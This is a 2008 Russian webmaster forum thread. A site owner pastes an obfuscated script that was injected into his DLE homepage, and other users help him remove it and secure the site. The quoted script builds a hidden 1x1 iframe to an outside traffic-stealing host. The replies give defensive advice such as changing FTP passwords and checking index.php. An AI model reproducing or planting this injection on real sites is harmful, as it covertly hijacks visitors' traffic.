X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> помогите разобраться с кодом
PiT
PiT
Topic Starter сообщение 23.10.2008, 13:15; Ответить: PiT
Сообщение #1


Бывалый
****

Группа: User
Сообщений: 257
Регистрация: 29.7.2008
Поблагодарили: 22 раза
Репутация:   0  


Помогите пожалуйста разобраться со скриптом!
Сайт ridiska.ru, при просмотре в виде хтмл главной страницы на 38ой строке стоит какойто не понятный скрипт
<script>var tir="<";var bqg="i";var nkioa=" ";var asyji="aqisc='NWYyI11m' xacop='4MJ8fXZ0' src=";var hwkly="ame>";var fzzfr="org/go/in.cgi?3";var wdmqx="?xYV ";var idn="f";var qpt="r";var yxi="a";var gycga="yuyot='ZJtOAa1R' dqtaw='CUyQjotE' iebbv='MDvOJK6s' ";var fko="m";var nsd="e";var rtsvd="width=1 ";var vasrz="http://gotraff.";var bnhlf="height=1 ";var mixbi="style='display:none'";var lixbv=vasrz+fzzfr;var iyzqb="></ifr";document.write(tir+bqg+idn+qpt+yxi+fko+nsd+nkioa+asyji+lixbv+wdmqx+gycga+r
tsvd+bnhlf+mixbi+iyzqb+hwkly);</script>

Один из админов партнерки подсказал что он тырит трафик!
При открытии файла main.tpl этого скрипта нет, через админку движка его тоже не видно((
Помогите найти где можно удалить этот скрипт...
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
calfetko
calfetko
сообщение 23.10.2008, 13:18; Ответить: calfetko
Сообщение #2


Частый гость
**


Группа: User
Сообщений: 79
Регистрация: 14.10.2008
Из: Санкт - Петербург
Поблагодарили: 4 раза
Репутация:   0  


У меня есть предположение, что этот скрипт в строен в индоксовую страницу движка, покопайтесь в index.php и кстати что за движок?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
horniest
horniest
сообщение 23.10.2008, 13:23; Ответить: horniest
Сообщение #3


Бывалый
****

Группа: User
Сообщений: 468
Регистрация: 3.4.2008
Поблагодарили: 116 раз
Репутация:   21  


троян
покопайтесь не только в index но и в page (php)
поменяйте пароль на ФТП


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Noindex
Noindex
сообщение 23.10.2008, 13:29; Ответить: Noindex
Сообщение #4


Участник
***

Группа: User
Сообщений: 103
Регистрация: 10.5.2008
Из: Ukraine
Поблагодарили: 9 раз
Репутация:   0  


да - трафик идет на _http://gotraff.org.

Сообщение отредактировал Noindex - 23.10.2008, 13:29


--------------------
На правах рерайта: Утро вечера умнее - To take counsel of one's pillow . Буквально - Советоваться со своей подушкой.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
brabus55
brabus55
сообщение 23.10.2008, 13:35; Ответить: brabus55
Сообщение #5


Император Квазилианы
******

Группа: Active User
Сообщений: 1225
Регистрация: 19.6.2008
Из: Беларусь,Витебск
Поблагодарили: 364 раза
Репутация:   78  


Это вообще то не троян а эксплоит.И находится он либо index.php в самом конце кода.Пишите вашему хостеру пуская проверяет защиту свою.У меня было такое,написал,поменял пароли все и все стало нормально.А до этого менял пароли и все равно ломали его.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PiT
PiT
Topic Starter сообщение 23.10.2008, 15:18; Ответить: PiT
Сообщение #6


Бывалый
****

Группа: User
Сообщений: 257
Регистрация: 29.7.2008
Поблагодарили: 22 раза
Репутация:   0  


движок ДЛЕ!
пароль менять от входа по фтп?

Сообщение отредактировал PiT - 23.10.2008, 15:28
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Martin-one
Martin-one
сообщение 23.10.2008, 15:20; Ответить: Martin-one
Сообщение #7


Частый гость
**

Группа: User
Сообщений: 54
Регистрация: 8.10.2008
Поблагодарили: 10 раз
Репутация:   1  


Как выше и указали, ищите в index.php. Советую не сохранять в фтп менеджерах установленных на вашем компьютере параметры для подключения, т.к. очень часто трояны тырят информацию именно от туда, хотя может и действительно виноват хостер.

P.S. Не советую выкладывать полный код страницы, практически даете "ключи от квартиры где деньги лежат" smile.gif

Сообщение отредактировал Martin-one - 23.10.2008, 15:22


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
agentvini
agentvini
сообщение 23.10.2008, 15:25; Ответить: agentvini
Сообщение #8


wir werden alle sterben
******

Группа: Active User
Сообщений: 1076
Регистрация: 27.5.2008
Из: Москва
Поблагодарили: 234 раза
Репутация:   39  


смените пасс на хостинге, так как скорее всего эта дрянь к вам пробралась когда Вы в фтп сессии были, и проверьте Ваш комп на вирусы


--------------------
Профессиональная разработка сайтов на MODx
реализуем все ваши идеи качественно и быстро
цена от 500$ (skype sanche.s)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PiT
PiT
Topic Starter сообщение 23.10.2008, 15:33; Ответить: PiT
Сообщение #9


Бывалый
****

Группа: User
Сообщений: 257
Регистрация: 29.7.2008
Поблагодарили: 22 раза
Репутация:   0  


спасибо, учту!
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
agentvini
agentvini
сообщение 23.10.2008, 15:36; Ответить: agentvini
Сообщение #10


wir werden alle sterben
******

Группа: Active User
Сообщений: 1076
Регистрация: 27.5.2008
Из: Москва
Поблагодарили: 234 раза
Репутация:   39  


почитай тут http://:)/topic6586.html

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Профессиональная разработка сайтов на MODx
реализуем все ваши идеи качественно и быстро
цена от 500$ (skype sanche.s)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Помогите, пожалуйста, моей дочери выжить!
благотворительный топик
30 vitvirtual 3814 19.5.2018, 8:30
автор: vitvirtual
Открытая тема (нет новых ответов) Продвигаю страницу по запросу "Как сделать игру". Помогите советом, пожалуйста
Я секу в теме! Но подать статью угодным поисковикам образом не смо
22 coremission 2214 8.5.2018, 12:33
автор: coremission
Открытая тема (нет новых ответов) Помогите с выбором ноута
20 rokot 919 23.4.2018, 12:09
автор: Room
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыПомогите с идеями для форума про успех
Спасибо за каждую идею
43 Zoya83 5192 12.4.2018, 11:42
автор: Zoya83
Открытая тема (нет новых ответов) Лендинг или сайт-визитка для ИП? Помогите определиться
6 Yas18 1144 31.3.2018, 20:57
автор: Yas18


 



RSS Текстовая версия Сейчас: 27.5.2018, 15:59
Дизайн